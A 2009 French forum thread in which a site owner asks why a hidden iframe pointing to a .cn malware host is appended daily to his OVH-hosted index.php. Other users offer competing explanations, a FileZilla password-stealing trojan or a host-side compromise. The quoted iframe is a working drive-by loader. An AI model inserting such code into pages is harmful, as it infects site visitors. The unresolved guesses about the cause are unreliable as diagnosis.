Le fichier index.php de mon site est modifié

Fermé
guillaume7684 - 12 juin 2009 à 13:00
 koaster - 25 juin 2009 à 16:51
Bonjour,

J'ai un site ecommerce hébergé chez OVH et depuis environ 1 semaine, tous les jours mon fichier www/index.php est modifié c'est à dire qu'une ligne vient se rajouter à la fin du code.

Par exemple aujourd'hui:
<iframe src="http://shopfilmexistence.cn:8080/index.php" width=191 height=187 style="visibility: hidden"></iframe>

Je sais que j'ai ajouté un flash sur ma page d'accueil la semaine dernière, est-ce que ça pourrait venir de là?

Pour info, j'ai deja modifié le mot de passe FTP, et rien n'y fait !!

Merci beaucoup a celui qui aura réponse à mon problème.
A voir également:

4 réponses

Si tu utillises Filezilla comme client FTP et que ton mot de passe est enregistré dedans, un trojan recupère régulièrement ton mot de passe.
1
guillaume7684
12 juin 2009 à 14:37
Oui en effet, j'utilise FILEZILLA et mes identifiants sont enregistrés dedans.

Comment faire pour éviter cela si je veux continuer à utiliser Filezilla?
0
Je ne suis pas d'accord avec le premier message qui dit par facilité qu'un trojan récupère les MDP de filezilla...


On est le 25 (13 jour plus tard).
Je suis dans le meme cas, toutes mes pages index.* de mes sites hébergés chez OVH ont aussi eu le meme soucis que toi (insertion d'une iframe avec un bon gros site malware) - depuis le 19. Soit une semaine.

Si c'etait la faute à un trojan, mes sites qui ne sont pas hébergés chez OVH seraient AUSSI piratés... ET CE N'EST PAS LE CAS....

En fait cher guillaume7684, ton message ne fait que confirmer un peu plus ce que je suis en train de chercher... Connaitre la source de la faute... Et finalement, les faits sont en tain de parler par eux même...
0
je viens de poster mon cas sur ce post:
http://www.commentcamarche.net/forum/affich 9810361 virus html iframe inf moteur b

Apparemment on à le même problème , c'est à la mode en ce moment sur la toile à se que je vois, on est loin d'être les seul dans ce cas.
0